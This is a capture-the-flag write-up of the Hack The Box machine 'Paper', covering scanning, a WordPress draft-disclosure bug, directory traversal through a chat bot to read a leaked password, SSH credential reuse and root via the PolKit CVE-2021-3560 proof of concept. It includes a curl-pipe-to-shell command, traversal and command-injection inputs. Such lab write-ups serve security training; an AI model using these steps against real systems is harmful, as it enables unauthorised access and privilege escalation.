HTB - Paper (Writeup)
Tags: htb, hackthebox, ctf, wordpress
Published: 2022-04-18 13:16:05

---
title: HTB - Paper (Writeup)
published: true
description: 
tags: HTB, HackTheBox, CTF, Wordpress
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x86rl4dux7qdj4qpec99.png
---


by [brydr](https://dev.to/brydr)



> Paper is a fairly straightforward, easy box created by [@secnigma](https://twitter.com/secnigma). In this writeup, I will show you how to crack it and gain root privileges.

* OS: Linux
* Difficulty: Easy

## Reconnaissance


### Rustscan

First, we will be checking for open ports. I will be using [rustscan](https://github.com/RustScan/RustScan) here (because it's fast, and it's basically the Rust implementation of nmap), but you are free to choose whatever port scanner you like.

Just put the IP of your HTB instance on the designated placeholders. In my case, it's 10.10.11.143.

```
rustscan --range 0-65535 -a <ip_of_your_htb_instance>

```
![Rustscan Result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4i41ykd8eykr56lyue7d.png)

We found that ports 22, 80, and 443 are open.

Let's check them out on nmap:


### Nmap
```
nmap -A -p 22,80,443 <ip_of_your_htb_instance> --script vuln -T4 -vvv
```


* SSH
![Nmap - SSH](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7dyh5u84k5e76nfi5cww.png)



* HTTP
![Nmap - HTTP](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x3okhdm5308i0j1femo6.png)



* HTTPS
![Nmap - HTTPS](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x3okhdm5308i0j1femo6.png)


### Nikto

The results were not satisfactory. Let's try another tool. Maybe [nikto](https://cirt.net/Nikto2) will find something more interesting.


```
nikto -host <ip_of_your_htb_instance>
```

Take a look at the header 'x-backend-server'.
![Nikto scan result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3jur4enny9nrkm50ewn5.png)


Maybe we can use that as a hostname for the IP of our target. So, open your favorite text editor and edit your hosts file by adding:
```
<ip_of_your_htb_instance>     office.paper
```


### Nmap

Let's try scanning again, but now using **office.paper** instead of the target's IP.

```
nmap -A -p 22,80,443 office.paper --script vuln -T4 -vvv
```

Running the command above would give us a different result on port 80 (HTTP):

![Nmap Scan with Hostname](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sykkf1fuelwf45bsw18b.png)

Our Nmap scan also gave us a list of the users found. Let's take note of that.


### WPScan

So the website is using Wordpress. Having said that, we are going to use [WPScan](https://wpscan.com/wordpress-security-scanner). But before that, **make sure that you have already acquired your API token before using WPScan** or you will never be able to utilize the scanner. You can get your own API token by signing up on their [website](https://wpscan.com/).

![WPScan Banner](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g28fev6t9dsumwg3r4z0.png)

On default Kali installations, wpscan is normally included, but just in case you do not have one installed on your VM, just enter `sudo apt update && sudo apt install wpscan -y` on your terminal.

Once you have acquired your API token, go to your terminal and type this:
```
export WPSCAN_TOKEN='<your_wpscan_api_token>'
```

After that, run wpscan on your terminal:
```
wpscan --url office.paper --api-token $WPSCAN_TOKEN
```

While the scan is running, let's explore the website a little bit.


![Office.paper Homepage](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4b57g4ckuuffyf8jfjju.png)

In [one of the posts](http://office.paper/index.php/2021/06/19/feeling-alone/), there is an interesting [comment](http://office.paper/index.php/2021/06/19/feeling-alone/#comment-4) made by a user named Nick. Take note of that. 

### Initial Foothold

Let's return to our wpscan and check what we got:

![WPScan Result](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/em9sg77yk5c4v7nspgtr.png)

As we can see, wpscan detected a lot of vulnerabilities. We are not an authenticated user, so we have to look for ways to enter the website and gain foothold. 

Among the results, there is an interesting finding regarding a bug that allows an unauthenticated user to view draft posts. Remember the comment made by Nick that we saw earlier about the secret content in the drafts? Maybe we can use that to gain initial foothold.

![WPScan Result 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xhm48jb5c8ltq498mgvs.png)

In [one of the links](https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/) included in the vulnerability scan result, [Sebastian Neef](https://0day.work/) provides an excellent proof of concept of the said bug.

According to the blog, adding some certain query parameters to the base url will show the hidden content. Let's check it out using these query params:
[http://office.paper/?static=1&orderBy=asc&m=YYYYMMDD](http://office.paper/?static=1&orderBy=asc&m=YYYYMMDD)

![Secret Link](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qqagbuiukzys69n1s23d.png)

We are able to view the supposedly hidden draft, and there is a seemingly interesting private link included. Going to the [link](http://chat.office.paper/register/8qozr226AhkCHZdyY) right away will lead us to nowhere. We need to add it first to our hosts file, just like what we did earlier.

![Hosts file configuration](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/csf3jhiyscqrya0bqlt7.png)

Upon reaching the sign up page for Rocket Chat, we will try to sign up in their private chat system.

![Rocket Chat](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qdz2u1suox8hfdhzioj6.png)

A successful registration leads us to the "general", the main channel in the chat system. Here we can see the conversations of different users, including their developer, Dwight.

Dwight apparently had created a chat bot named Recyclops inside the chat system. The bot requires some commands to which it responds to. Let's take a deeper look on what this bot can do.

![Bot Help 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d4gnrkjfm6p49w9s7tos.png)

![Bot Help 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uhk9s16pj6tq4zihz752.png)

These are some of the commands the bot is using:
1. Show the help menu: 
     ```recyclops help```

2. List files in a directory: 
     ```recyclops list <directory_name>```

3. Get the file and print its contents:
     ```recyclops file <file_location>```

There are some limitations to our user account in the chat system. We cannot reply in the "general" channel. The bot's help menu says the file and list commands are only limited to the "sales" folder. This means we're not supposed to have access to the other files within the server. *Or so we thought.*

So we have a command that accepts a path. Maybe we can try a directory traversal attack. But how can we do that if we can't even reply in the channel? Let's try sending direct message to some users.


![DM 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8m1waeridr4bpcq5ywwu.png)

![DM 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/of7qg35ejvabehy2eogr.png)

Why don't we try sending a direct message to Recyclops itself, right?

Sending the command `recyclops list .` resulted to this:

![DM 3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qbenu2vyt3x2l39g3d9s.png)

Notice the dot on the previous **file** command. Doing some directory traversal using `recyclops list ./../` would result to this:

![Directory Traversal 1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n5yp2ld81eiiqgumiipu.png)

![Directory Traversal 2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qmbilopq3kbqrq5i0kt8.png)

Remember the OS that was detected on our nmap and nikto scan? It was CentOS right? Well, the result above looks like a home directory in Linux. The **user.txt** flag is actually already there. Let's try printing its value.

```
recyclops file ./../user.txt
```

![Access denied](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pr356j8so50plw58imlj.png)

We got an "Access denied" response. That's because we do not own the file.

How about putting some other OS commands?

```
recyclops list ./../ && cat user.txt
```

![OS Commands Not Allowed](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kinq5dcdq44xs68e8pch.png)

Denied again. Hmmmmmmmm. Maybe we need to enumerate some more. Using the same command that we used to view the `/home` directory, let's check the other files and directories.

```
recyclops list ./../
```

![Directory Traversal 3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fggd7eyngj7upc90xo9x.png)

The folder named `hubot` seems interesting. We should take a look inside it.

```
recyclops list ./../hubot
```

![Directory Traversal 4](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k3a6lbjk682rxwzku9m6.png)

From here, we can actually check the `package.json` if there are exisiting vulnerabilities in this Node.js app. But there is a juicier file that is present in this directory. Let's take a look at the `.env` file.

```
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
```

See the values for `ROCKETCHAT_USER` and `ROCKETCHAT_PASSWORD`? These are the credentials for Recyclops, we should try logging in using those. Let's log out and use the bot's credentials. 

![Bot Login Not Allowed](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8h5499vrvj9stamknik6.png)

*Ooops. We kinda hit a wall there. Hmmmmmmmmmmmmm. Let's think of other ways to pwn this server. Hmmmmmmmmmmmmm.........*

Maybe we could try some credential stuffing/password spraying?

Remember the owner of the files that we saw when we did our directory traversal? That was Dwight, right? So let's try using his username and the password that we found on the `.env` file of `hubot`. Let's SSH into the server:

```
ssh dwight@10.10.11.143
```

Enter the password upon prompt.


![SSH Login](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r62wni7cyug5emazwwhr.png)

**It worked!**

From here, we could simply print the `user.txt` flag and submit it. I'll leave that to you as an exercise.

### Privilege Escalation

Now, we need to get the flag for root. For that, we need to do some privilege escalation.

My go-to tool for Linux privilege escalation is [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). LinPEAS provides suggestions on how you could escalate your privileges to root.

Let's check if we have cURL installed on the target server first, otherwise we will have to manually download the LinPEAS script there, set it as an executable (`chmod +x`) and run it.

```
which curl
```
![cURL Check](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z47abpqmzxpi41ekc6ae.png)

Good. cURL is installed in the server. Now, what we need to do is just copy and paste the command as described in the Github [repo](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS).

```
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
If the command above doesn't work for you, then we will have to download LinPEAS on our attack machine first, then transfer it using Python's HTTP Server.

Go to the releases page of LinPEAS and download `linpeas.sh`. After that, we need to setup an HTTP Server using Python. Please refer to the following commands below for the different ways to set it up:

*Python 2*
```
python -m SimpleHTTPServer <port_number>
```

*Python 3*
```
python3 -m http.server <port_number>
```
**Make sure that the LinPEAS script is in the directory where you have set your HTTP Server up.**

Since I have Python 3 installed in my Kali, I will be using this command `python3 -m http.server 7000`, with 7000 as my port.

After that, check your IP address on your attack machine using `ip a`. Look for the **tun0** interface. *(Most of the time it is named tun0. If you have other connections on your VPN, then yours might be different)*. Copy the IP address that was indicated in your interface, excluding the subnet (e.g. /23).

![IP Address](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ouo7v7nlytzorwh0z4t6.png)

Go back to SSH session that we logged in to earlier. Navigate to the `/tmp` folder using **cd**. Type the following command:

```
curl http://<your_attack_machine_ip_address>:<port_number_on_your_http_server>/linpeas.sh --output linpeas.sh
```

![LinPEAS File Transfer Using Python 3 HTTP Server](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ezm87686sxgy3um88ik3.png)

Use `chmod +x ./linpeas.sh` so that we can run the script.
![LinPEAS chmod +x](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rhb6jyrzrn4ovai96abs.png)
 
Let's run LinPEAS!
```
./linpeas.sh
```

This will take a while.

If we take a look at the description, there are different colors which indicates the chances of getting a privilege escalation. What we are interested in is the one with the **RED/YELLOW** color. Let's take a look at the result:

![CVE-2021-3560](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hvjc2f8qftyu0l2yc5qz.png)

It says that the server is vulnerable to [CVE-2021-3560](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3560). This vulnerability exploits the flaw in PolKit (policy kit) which allows an attacker to create a new superadmin. Let's look for exploits that are in the wild.

![CVE-2021-3560 PoC](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h0llkwja1ifv814ih3m7.png)

@secnigma has actually written a [PoC](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) (proof-of-concept) for this. Let's copy the contents, and paste it on the server using vim.

*If you do not know how to use vim, try learning it, I'll leave it to you as an exercise.*

```
vim poc.sh
```

![poc.sh](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xw1hgu0dc0yf9uodopub.png)

**Tip:** *In the `poc.sh` script, you can change the username and password of the account that will be created when we you run the script. By default, the username is `secnigma` and the password is `secnigmaftw`.*

![Change Username and Password](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5jwg7y770co8wlpgcohc.png)

Exit vim, and change the type of `poc.sh` to executable. After that, run the script using `./poc.sh`.

![chmod poc.sh](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mq1niepbav2vv2lf2n6v.png)

I've set my username as `brydr` and the password as `strongPasswordWow`. If the PoC execution was successful, it would look like this:

![PoC Success](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bblfhrdqbq8edey723w7.png)

From there, you can just change the user to the one you have created using the Polkit exploit PoC, then run `sudo bash`.
I'll leave it to you on how to get the root flag, which is stored in `root.txt`.

Thanks for reading my writeup. Happy hacking!